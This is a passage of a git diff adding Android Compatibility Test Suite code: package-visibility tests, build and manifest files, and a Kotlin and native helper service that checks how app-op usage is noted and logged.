+    }
+
+    @Test
+    public void queriesNothingTargetsQ_canSeeAll() throws Exception {
+        assertVisible(QUERIES_NOTHING_Q, TARGET_FORCEQUERYABLE);
+        assertVisible(QUERIES_NOTHING_Q, TARGET_NO_API);
+        assertVisible(QUERIES_NOTHING_Q, TARGET_FILTERS);
+    }
+
+    @Test
+    public void queriesNothingHasPermission_canSeeAll() throws Exception {
+        assertVisible(QUERIES_NOTHING_PERM, TARGET_FORCEQUERYABLE);
+        assertVisible(QUERIES_NOTHING_PERM, TARGET_NO_API);
+        assertVisible(QUERIES_NOTHING_PERM, TARGET_FILTERS);
+    }
+
+    @Test
+    public void queriesSomething_cannotSeeNoApi() throws Exception {
+        assertNotVisible(QUERIES_ACTIVITY_ACTION, TARGET_NO_API);
+        assertNotVisible(QUERIES_SERVICE_ACTION, TARGET_NO_API);
+        assertNotVisible(QUERIES_PROVIDER_AUTH, TARGET_NO_API);
+    }
+
+    @Test
+    public void queriesActivityAction_canSeeTarget() throws Exception {
+        assertVisible(QUERIES_ACTIVITY_ACTION, TARGET_FILTERS);
+    }
+
+    @Test
+    public void queriesServiceAction_canSeeTarget() throws Exception {
+        assertVisible(QUERIES_SERVICE_ACTION, TARGET_FILTERS);
+    }
+
+    @Test
+    public void queriesProviderAuthority_canSeeTarget() throws Exception {
+        assertVisible(QUERIES_PROVIDER_AUTH, TARGET_FILTERS);
+    }
+
+    @Test
+    public void queriesActivityAction_cannotSeeUnexportedTarget() throws Exception {
+        assertNotVisible(QUERIES_UNEXPORTED_ACTIVITY_ACTION, TARGET_FILTERS);
+    }
+
+    @Test
+    public void queriesServiceAction_cannotSeeUnexportedTarget() throws Exception {
+        assertNotVisible(QUERIES_UNEXPORTED_SERVICE_ACTION, TARGET_FILTERS);
+    }
+
+    @Test
+    public void queriesProviderAuthority_cannotSeeUnexportedTarget() throws Exception {
+        assertNotVisible(QUERIES_UNEXPORTED_PROVIDER_AUTH, TARGET_FILTERS);
+    }
+
+    @Test
+    public void queriesPackage_canSeeTarget() throws Exception {
+        assertVisible(QUERIES_PACKAGE, TARGET_NO_API);
+    }
+
+    @Test
+    public void whenStarted_canSeeCaller() throws Exception {
+        // let's first make sure that the target cannot see the caller.
+        assertNotVisible(QUERIES_NOTHING, QUERIES_NOTHING_PERM);
+        // now let's start the target and make sure that it can see the caller as part of that call
+        PackageInfo packageInfo = startForResult(QUERIES_NOTHING_PERM, QUERIES_NOTHING);
+        assertThat(packageInfo, IsNull.notNullValue());
+        assertThat(packageInfo.packageName, is(QUERIES_NOTHING_PERM));
+        // and finally let's re-run the last check to make sure that the target can still see the
+        // caller
+        assertVisible(QUERIES_NOTHING, QUERIES_NOTHING_PERM);
+    }
+
+    @Test
+    public void sharedUserMember_canSeeOtherMember() throws Exception {
+        assertVisible(QUERIES_NOTHING_SHARED_USER, TARGET_SHARED_USER);
+    }
+
+    @Test
+    public void queriesPackage_canSeeAllSharedUserMembers() throws Exception {
+        // explicitly queries target via manifest
+        assertVisible(QUERIES_PACKAGE, TARGET_SHARED_USER);
+        // implicitly granted visibility to other member of shared user
+        assertVisible(QUERIES_PACKAGE, QUERIES_NOTHING_SHARED_USER);
+    }
+
+    private void assertVisible(String sourcePackageName, String targetPackageName)
+            throws Exception {
+        if (!sGlobalFeatureEnabled) return;
+        Assert.assertNotNull(sourcePackageName + " should be able to see " + targetPackageName,
+                getPackageInfo(sourcePackageName, targetPackageName));
+    }
+
+
+    private void setFeatureEnabledForAll(Boolean enabled) {
+        for (String pkgName : ALL_QUERIES_TARGETING_Q_PACKAGES) {
+            setFeatureEnabledForAll(pkgName, enabled);
+        }
+        setFeatureEnabledForAll(QUERIES_NOTHING_Q, enabled == null ? null : false);
+    }
+
+    private void setFeatureEnabledForAll(String packageName, Boolean enabled) {
+        SystemUtil.runShellCommand(
+                "am compat " + (enabled == null ? "reset" : enabled ? "enable" : "disable")
+                        + " 135549675 " + packageName);
+    }
+
+    private void assertNotVisible(String sourcePackageName, String targetPackageName)
+            throws Exception {
+        if (!sGlobalFeatureEnabled) return;
+        try {
+            getPackageInfo(sourcePackageName, targetPackageName);
+            fail(sourcePackageName + " should not be able to see " + targetPackageName);
+        } catch (PackageManager.NameNotFoundException ignored) {
+        }
+    }
+
+    private PackageInfo getPackageInfo(String sourcePackageName, String targetPackageName)
+            throws Exception {
+        Bundle response = sendCommand(sourcePackageName, targetPackageName,
+                PKG_BASE + "cts.action.GET_PACKAGE_INFO");
+        return response.getParcelable(Intent.EXTRA_RETURN_RESULT);
+    }
+
+    private PackageInfo startForResult(String sourcePackageName, String targetPackageName)
+            throws Exception {
+        Bundle response = sendCommand(sourcePackageName, targetPackageName,
+                PKG_BASE + "cts.action.START_FOR_RESULT");
+        return response.getParcelable(Intent.EXTRA_RETURN_RESULT);
+    }
+
+    private Bundle sendCommand(String sourcePackageName, String targetPackageName, String action)
+            throws Exception {
+        Intent intent = new Intent(action)
+                .setComponent(new ComponentName(
+                        sourcePackageName, PKG_BASE + "cts.query.TestActivity"))
+                // data uri unique to each activity start to ensure actual launch and not just
+                // redisplay
+                .setData(Uri.parse("test://" + name.getMethodName() + targetPackageName))
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NEW_DOCUMENT)
+                .putExtra(Intent.EXTRA_PACKAGE_NAME, targetPackageName);
+        final ConditionVariable latch = new ConditionVariable();
+        final AtomicReference<Bundle> resultReference = new AtomicReference<>();
+        final RemoteCallback callback = new RemoteCallback(
+                bundle -> {
+                    resultReference.set(bundle);
+                    latch.open();
+                },
+                sResponseHandler);
+        intent.putExtra("remoteCallback", callback);
+        sContext.startActivity(intent);
+        if (!latch.block(TimeUnit.SECONDS.toMillis(10))) {
+            throw new TimeoutException(
+                    "Latch timed out while awiating a response from " + targetPackageName);
+        }
+        final Bundle bundle = resultReference.get();
+        if (bundle != null && bundle.containsKey("error")) {
+            throw (Exception) Objects.requireNonNull(bundle.getSerializable("error"));
+        }
+        return bundle;
+    }
+
+}
diff --git a/tests/tests/appop/Android.bp b/tests/tests/appop/Android.bp
index e4ca806..6fb772d 100644
--- a/tests/tests/appop/Android.bp
+++ b/tests/tests/appop/Android.bp
@@ -12,13 +12,36 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+cc_test_library {
+    name: "libCtsAppOpsTestCases_jni",
+
+    stl: "libc++_static",
+    gtest: false,
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+
+    srcs: ["jni/**/*.cpp"],
+
+    shared_libs: [
+        "libbinder",
+        "libutils",
+        "liblog",
+    ],
+}
+
 android_test {
     name: "CtsAppOpsTestCases",
-    sdk_version: "test_current",
+
+    compile_multilib: "both",
 
     srcs: ["src/**/*.kt"],
 
     static_libs: [
+        "appops-test-util-lib",
+        "AppOpsUserServiceAidl",
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "androidx.legacy_legacy-support-v4",
@@ -27,9 +50,46 @@
         "androidx.test.uiautomator_uiautomator"
     ],
 
+    jni_libs: [
+        "ld-android",
+        "libbacktrace",
+        "libbase",
+        "libbinder",
+        "libbinderthreadstate",
+        "libbpf",
+        "libbpf_android",
+        "libc++",
+        "libcgrouprc",
+        "libcrypto",
+        "libcutils",
+        "libdl_android",
+        "libhidl-gen-utils",
+        "libhidlbase",
+        "libjsoncpp",
+        "liblog",
+        "liblzma",
+        "libnativehelper",
+        "libnetdbpf",
+        "libnetdutils",
+        "libnetworkstatsfactorytestjni",
+        "libpackagelistparser",
+        "libpcre2",
+        "libprocessgroup",
+        "libselinux",
+        "libtinyxml2",
+        "libui",
+        "libunwindstack",
+        "libutils",
+        "libutilscallstack",
+        "libvndksupport",
+        "libziparchive",
+        "libz",
+        "libCtsAppOpsTestCases_jni",
+    ],
+
     test_suites: [
         "cts",
         "vts",
         "general-tests",
     ],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/AndroidManifest.xml b/tests/tests/appop/AndroidManifest.xml
index 78c3816..4e8aea9 100644
--- a/tests/tests/appop/AndroidManifest.xml
+++ b/tests/tests/appop/AndroidManifest.xml
@@ -19,6 +19,19 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.app.appops.cts"
     android:targetSandboxVersion="2">
+  <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+
+  <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+  <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+
+  <uses-permission android:name="android.permission.READ_CONTACTS" />
+  <uses-permission android:name="android.permission.WRITE_CONTACTS" />
+
+  <uses-permission android:name="android.permission.CAMERA" />
+
+  <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+
+  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
 
   <application>
       <uses-library android:name="android.test.runner"/>
diff --git a/tests/tests/appop/AndroidTest.xml b/tests/tests/appop/AndroidTest.xml
index 9f489a9..fc71ef6 100644
--- a/tests/tests/appop/AndroidTest.xml
+++ b/tests/tests/appop/AndroidTest.xml
@@ -16,10 +16,12 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAppOpsTestCases.apk" />
+        <option name="test-file-name" value="CtsAppThatUsesAppOps.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="hidden-api-checks" value="true" />
diff --git a/tests/tests/appop/AppThatUsesAppOps/Android.bp b/tests/tests/appop/AppThatUsesAppOps/Android.bp
new file mode 100644
index 0000000..31f4a95
--- /dev/null
+++ b/tests/tests/appop/AppThatUsesAppOps/Android.bp
@@ -0,0 +1,63 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library  {
+    name: "libAppThatUsesAppOps_jni",
+    sdk_version: "current",
+    stl: "c++_static",
+
+    srcs: [
+        "jni/**/*.cpp"
+    ],
+
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter"
+    ],
+
+    shared_libs: [
+        "liblog",
+        "libbinder_ndk"
+    ],
+
+    static_libs: [
+        "AppOpsUserServiceAidlNative-ndk"
+    ]
+}
+
+android_test_helper_app {
+    name: "CtsAppThatUsesAppOps",
+
+    compile_multilib: "both",
+
+    srcs: ["src/**/*.kt"],
+
+    static_libs: [
+        "appops-test-util-lib",
+        "AppOpsUserServiceAidl",
+        "truth-prebuilt",
+        "junit",
+    ],
+
+    jni_libs: [
+        "libAppThatUsesAppOps_jni"
+    ],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ]
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppThatUsesAppOps/AndroidManifest.xml b/tests/tests/appop/AppThatUsesAppOps/AndroidManifest.xml
new file mode 100644
index 0000000..0d524a9
--- /dev/null
+++ b/tests/tests/appop/AppThatUsesAppOps/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.appops.cts.appthatusesappops">
+
+  <application>
+      <service android:name=".AppOpsUserService" android:exported="true" />
+  </application>
+
+</manifest>
diff --git a/tests/tests/appop/AppThatUsesAppOps/jni/android/app/appops/cts/appthatusesappops/AppOpsUserService.cpp b/tests/tests/appop/AppThatUsesAppOps/jni/android/app/appops/cts/appthatusesappops/AppOpsUserService.cpp
new file mode 100644
index 0000000..8c97f65
--- /dev/null
+++ b/tests/tests/appop/AppThatUsesAppOps/jni/android/app/appops/cts/appthatusesappops/AppOpsUserService.cpp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <android/binder_ibinder_jni.h>
+
+#include "aidl/android/app/appops/cts/IAppOpsUserClient.h"
+
+using ::ndk::SpAIBinder;
+using ::aidl::android::app::appops::cts::IAppOpsUserClient;
+
+// Call binder method IAppOpsUserClient#noteSyncOp from native code
+extern "C" JNIEXPORT void JNICALL
+Java_android_app_appops_cts_appthatusesappops_AppOpsUserServiceKt_noteSyncOpFromNativeCode(
+        JNIEnv* env, jclass clazz, jobject binder) {
+    SpAIBinder native_binder = SpAIBinder(AIBinder_fromJavaBinder(env, binder));
+    std::shared_ptr<IAppOpsUserClient> service = IAppOpsUserClient::fromBinder(native_binder);
+
+    service->noteSyncOp();
+}
diff --git a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
new file mode 100644
index 0000000..ff002dc
--- /dev/null
+++ b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
@@ -0,0 +1,414 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appops.cts.appthatusesappops
+
+import android.app.AppOpsManager
+import android.app.AppOpsManager.OPSTR_COARSE_LOCATION
+import android.app.AppOpsManager.OPSTR_FINE_LOCATION
+import android.app.AppOpsManager.OPSTR_GET_ACCOUNTS
+import android.app.AsyncNotedAppOp
+import android.app.Service
+import android.app.SyncNotedAppOp
+import android.app.appops.cts.IAppOpsUserClient
+import android.app.appops.cts.IAppOpsUserService
+import android.app.appops.cts.TEST_FEATURE_ID
+import android.app.appops.cts.eventually
+import android.content.Intent
+import android.os.IBinder
+import android.os.Process.FIRST_APPLICATION_UID
+import com.google.common.truth.Truth.assertThat
+import java.io.PrintWriter
+import java.io.StringWriter
+import java.lang.IllegalArgumentException
+
+private external fun noteSyncOpFromNativeCode(binder: IBinder)
+
+class AppOpsUserService : Service() {
+    override fun onCreate() {
+        super.onCreate()
+
+        System.loadLibrary("AppThatUsesAppOps_jni")
+    }
+
+    override fun onBind(intent: Intent?): IBinder? {
+        return object : IAppOpsUserService.Stub() {
+            private val appOpsManager = getSystemService(AppOpsManager::class.java)
+
+            // Collected note-op calls inside of this process
+            private val noted = mutableListOf<Pair<SyncNotedAppOp, Array<StackTraceElement>>>()
+            private val selfNoted = mutableListOf<Pair<SyncNotedAppOp, Array<StackTraceElement>>>()
+            private val asyncNoted = mutableListOf<AsyncNotedAppOp>()
+
+            private fun setNotedAppOpsCollector() {
+                appOpsManager.setNotedAppOpsCollector(
+                        object : AppOpsManager.AppOpsCollector() {
+                            override fun onNoted(op: SyncNotedAppOp) {
+                                noted.add(op to Throwable().stackTrace)
+                            }
+
+                            override fun onSelfNoted(op: SyncNotedAppOp) {
+                                selfNoted.add(op to Throwable().stackTrace)
+                            }
+
+                            override fun onAsyncNoted(asyncOp: AsyncNotedAppOp) {
+                                asyncNoted.add(asyncOp)
+                            }
+                        })
+            }
+
+            init {
+                setNotedAppOpsCollector()
+            }
+
+            /**
+             * Cheapo variant of {@link ParcelableException}
+             */
+            inline fun forwardThrowableFrom(r: () -> Unit) {
+                try {
+                    r()
+                } catch (t: Throwable) {
+                    val sw = StringWriter()
+                    t.printStackTrace(PrintWriter(sw))
+
+                    throw IllegalArgumentException("\n" + sw.toString() + "called by")
+                }
+            }
+
+            override fun disableCollectorAndCallSyncOpsWhichWillNotBeCollected(
+                client: IAppOpsUserClient
+            ) {
+                forwardThrowableFrom {
+                    appOpsManager.setNotedAppOpsCollector(null)
+
+                    client.noteSyncOp()
+
+                    assertThat(asyncNoted).isEmpty()
+
+                    setNotedAppOpsCollector()
+
+                    assertThat(noted).isEmpty()
+                    assertThat(selfNoted).isEmpty()
+                    eventually {
+                        assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+                    }
+                }
+            }
+
+            override fun disableCollectorAndCallASyncOpsWhichWillBeCollected(
+                client: IAppOpsUserClient
+            ) {
+                forwardThrowableFrom {
+                    appOpsManager.setNotedAppOpsCollector(null)
+
+                    client.noteAsyncOp()
+
+                    setNotedAppOpsCollector()
+
+                    eventually {
+                        assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+                    }
+                    assertThat(noted).isEmpty()
+                    assertThat(selfNoted).isEmpty()
+                }
+            }
+
+            override fun callApiThatNotesSyncOpAndCheckLog(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    client.noteSyncOp()
+
+                    assertThat(noted.map { it.first.featureId to it.first.op })
+                        .containsExactly(null to OPSTR_COARSE_LOCATION)
+                    assertThat(noted[0].second.map { it.methodName })
+                        .contains("callApiThatNotesSyncOpAndCheckLog")
+                    assertThat(selfNoted).isEmpty()
+                    assertThat(asyncNoted).isEmpty()
+                }
+            }
+
+            override fun callApiThatNotesSyncOpAndClearLog(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    client.noteSyncOp()
+
+                    assertThat(noted.map { it.first.op }).containsExactly(OPSTR_COARSE_LOCATION)
+                    assertThat(noted[0].second.map { it.methodName })
+                        .contains("callApiThatNotesSyncOpAndClearLog")
+                    assertThat(selfNoted).isEmpty()
+                    assertThat(asyncNoted).isEmpty()
+
+                    noted.clear()
+                }
+            }
+
+            override fun callApiThatNotesSyncOpWithFeatureAndCheckLog(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    client.noteSyncOpWithFeature(TEST_FEATURE_ID)
+
+                    assertThat(noted.map { it.first.featureId }).containsExactly(TEST_FEATURE_ID)
+                }
+            }
+
+            override fun callApiThatCallsBackIntoServiceAndCheckLog(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    // This calls back into the service via callApiThatNotesSyncOpAndClearLog
+                    client.callBackIntoService()
+
+                    // The noteSyncOp called in callApiThatNotesSyncOpAndClearLog should not have
+                    // affected the callBackIntoService call
+                    assertThat(noted.map { it.first.op }).containsExactly(OPSTR_FINE_LOCATION)
+                    assertThat(noted[0].second.map { it.methodName })
+                        .contains("callApiThatCallsBackIntoServiceAndCheckLog")
+                    assertThat(selfNoted).isEmpty()
+                    assertThat(asyncNoted).isEmpty()
+                }
+            }
+
+            override fun callApiThatNotesSyncOpFromNativeCodeAndCheckLog(
+                client: IAppOpsUserClient
+            ) {
+                forwardThrowableFrom {
+                    noteSyncOpFromNativeCode(client.asBinder())
+
+                    eventually {
+                        assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+                    }
+                    assertThat(noted).isEmpty()
+                    assertThat(selfNoted).isEmpty()
+                }
+            }
+
+            override fun callApiThatNotesSyncOpFromNativeCodeAndCheckMessage(
+                client: IAppOpsUserClient
+            ) {
+                forwardThrowableFrom {
+                    noteSyncOpFromNativeCode(client.asBinder())
+
+                    eventually {
+                        assertThat(asyncNoted[0].notingPackageName).isEqualTo(
+                            "android.app.appops.cts")
+                        assertThat(asyncNoted[0].notingUid).isAtLeast(FIRST_APPLICATION_UID)
+                        assertThat(asyncNoted[0].message).isNotEmpty()
+                    }
+                }
+            }
+
+            override fun callApiThatNotesSyncOpAndCheckStackTrace(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    client.noteSyncOp()
+                    assertThat(noted[0].second.map { it.methodName }).contains(
+                            "callApiThatNotesSyncOpAndCheckStackTrace")
+                }
+            }
+
+            override fun callApiThatNotesNonPermissionSyncOpAndCheckLog(
+                client: IAppOpsUserClient
+            ) {
+                forwardThrowableFrom {
+                    client.noteNonPermissionSyncOp()
+
+                    assertThat(selfNoted).isEmpty()
+                    assertThat(asyncNoted).isEmpty()
+                    assertThat(noted).isEmpty()
+                }
+            }
+
+            override fun callApiThatNotesTwiceSyncOpAndCheckLog(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    client.noteSyncOpTwice()
+
+                    // Ops noted twice are only reported once
+                    assertThat(noted.map { it.first.op }).containsExactly(OPSTR_COARSE_LOCATION)
+                    assertThat(noted[0].second.map { it.methodName })
+                        .contains("callApiThatNotesTwiceSyncOpAndCheckLog")
+                    assertThat(selfNoted).isEmpty()
+                    assertThat(asyncNoted).isEmpty()
+                }
+            }
+
+            override fun callApiThatNotesTwoSyncOpAndCheckLog(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    client.noteTwoSyncOp()
+
+                    assertThat(noted.map { it.first.op }).containsExactly(
+                            OPSTR_COARSE_LOCATION, OPSTR_GET_ACCOUNTS)
+                    assertThat(noted[0].second.map { it.methodName })
+                        .contains("callApiThatNotesTwoSyncOpAndCheckLog")
+                    assertThat(noted[1].second.map { it.methodName })
+                        .contains("callApiThatNotesTwoSyncOpAndCheckLog")
+                    assertThat(selfNoted).isEmpty()
+                    assertThat(asyncNoted).isEmpty()
+                }
+            }
+
+            override fun callApiThatNotesSyncOpNativelyAndCheckLog(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    client.noteSyncOpNative()
+
+                    // All native notes will be reported as async notes
+                    eventually {
+                        assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+                    }
+                    assertThat(noted).isEmpty()
+                    assertThat(selfNoted).isEmpty()
+                }
+            }
+
+            override fun callApiThatNotesNonPermissionSyncOpNativelyAndCheckLog(
+                client: IAppOpsUserClient
+            ) {
+                forwardThrowableFrom {
+                    client.noteNonPermissionSyncOpNative()
+
+                    // All native notes will be reported as async notes
+                    assertThat(noted).isEmpty()
+                    assertThat(selfNoted).isEmpty()
+                    assertThat(asyncNoted).isEmpty()
+                }
+            }
+
+            override fun callOnewayApiThatNotesSyncOpAndCheckLog(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    client.noteSyncOpOneway()
+
+                    // There is not return value from a one-way call, hence async note is the only
+                    // option
+                    eventually {
+                        assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+                    }
+                    assertThat(noted).isEmpty()
+                    assertThat(selfNoted).isEmpty()
+                }
+            }
+
+            override fun callOnewayApiThatNotesSyncOpNativelyAndCheckLog(
+                client: IAppOpsUserClient
+            ) {
+                forwardThrowableFrom {
+                    client.noteSyncOpOnewayNative()
+
+                    // There is not return value from a one-way call, hence async note is the only
+                    // option
+                    eventually {
+                        assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+                    }
+                    assertThat(noted).isEmpty()
+                    assertThat(selfNoted).isEmpty()
+                }
+            }
+
+            override fun callApiThatNotesSyncOpOtherUidAndCheckLog(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    client.noteSyncOpOtherUid()
+
+                    assertThat(noted).isEmpty()
+                    assertThat(selfNoted).isEmpty()
+                    assertThat(asyncNoted).isEmpty()
+                }
+            }
+
+            override fun callApiThatNotesSyncOpOtherUidNativelyAndCheckLog(
+                client: IAppOpsUserClient
+            ) {
+                forwardThrowableFrom {
+                    client.noteSyncOpOtherUidNative()
+
+                    assertThat(noted).isEmpty()
+                    assertThat(selfNoted).isEmpty()
+                    assertThat(asyncNoted).isEmpty()
+                }
+            }
+
+            override fun callApiThatNotesAsyncOpAndCheckLog(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    client.noteAsyncOp()
+
+                    eventually {
+                        assertThat(asyncNoted.map { it.featureId to it.op })
+                            .containsExactly(null to OPSTR_COARSE_LOCATION)
+                    }
+                    assertThat(noted).isEmpty()
+                    assertThat(selfNoted).isEmpty()
+                }
+            }
+
+            override fun callApiThatNotesAsyncOpWithFeatureAndCheckLog(
+                client: IAppOpsUserClient
+            ) {
+                forwardThrowableFrom {
+                    client.noteAsyncOpWithFeature(TEST_FEATURE_ID)
+
+                    eventually {
+                        assertThat(asyncNoted.map { it.featureId })
+                            .containsExactly(TEST_FEATURE_ID)
+                    }
+                }
+            }
+
+            override fun callApiThatNotesAsyncOpAndCheckDefaultMessage(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    client.noteAsyncOp()
+
+                    eventually {
+                        assertThat(asyncNoted[0].notingPackageName).isEqualTo(
+                                "android.app.appops.cts")
+                        assertThat(asyncNoted[0].notingUid).isAtLeast(FIRST_APPLICATION_UID)
+                        assertThat(asyncNoted[0].message).contains(
+                            "AppOpsLoggingTest\$AppOpsUserClient\$noteAsyncOp")
+                    }
+                }
+            }
+
+            override fun callApiThatNotesAsyncOpAndCheckCustomMessage(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    client.noteAsyncOpWithCustomMessage()
+
+                    eventually {
+                        assertThat(asyncNoted[0].notingPackageName).isEqualTo(
+                                "android.app.appops.cts")
+                        assertThat(asyncNoted[0].notingUid).isAtLeast(FIRST_APPLICATION_UID)
+                        assertThat(asyncNoted[0].message).isEqualTo("custom msg")
+                    }
+                }
+            }
+
+            override fun callApiThatNotesAsyncOpNativelyAndCheckCustomMessage(
+                client: IAppOpsUserClient
+            ) {
+                forwardThrowableFrom {
+                    client.noteAsyncOpNativeWithCustomMessage()
+
+                    eventually {
+                        assertThat(asyncNoted[0].notingPackageName).isNull()
+                        assertThat(asyncNoted[0].notingUid).isAtLeast(FIRST_APPLICATION_UID)
+                        assertThat(asyncNoted[0].message).isEqualTo("native custom msg")
+                    }
+                }
+            }
+
+            override fun callApiThatNotesAsyncOpNativelyAndCheckLog(client: IAppOpsUserClient) {
+                forwardThrowableFrom {
+                    client.noteAsyncOpNative()
+
+                    eventually {
+                        assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
+                    }
+                    assertThat(noted).isEmpty()
+                    assertThat(selfNoted).isEmpty()
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/appop/OWNERS b/tests/tests/appop/OWNERS
new file mode 100644
index 0000000..d21846d
--- /dev/null
+++ b/tests/tests/appop/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+include ../toast/OWNERS
diff --git a/tests/tests/appop/aidl/Android.bp b/tests/tests/appop/aidl/Android.bp
new file mode 100644
index 0000000..ed5b3ff
--- /dev/null
+++ b/tests/tests/appop/aidl/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+aidl_interface {
+    name: "AppOpsUserServiceAidlNative",
+
+    local_include_dir: "src",
+
+    srcs: [
+        "src/**/*.aidl"
+    ],
+
+    backend: {
+        java: {
+            sdk_version: "current",
+        }
+    }
+}
+
+java_library {
+    name: "AppOpsUserServiceAidl",
+
+    srcs: [
+        "src/**/*.aidl"
+    ],
+}
\ No newline at end of file
diff --git a/tests/tests/appop/aidl/src/android/app/appops/cts/IAppOpsUserClient.aidl b/tests/tests/appop/aidl/src/android/app/appops/cts/IAppOpsUserClient.aidl
new file mode 100644
index 0000000..f3af855
--- /dev/null
+++ b/tests/tests/appop/aidl/src/android/app/appops/cts/IAppOpsUserClient.aidl
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
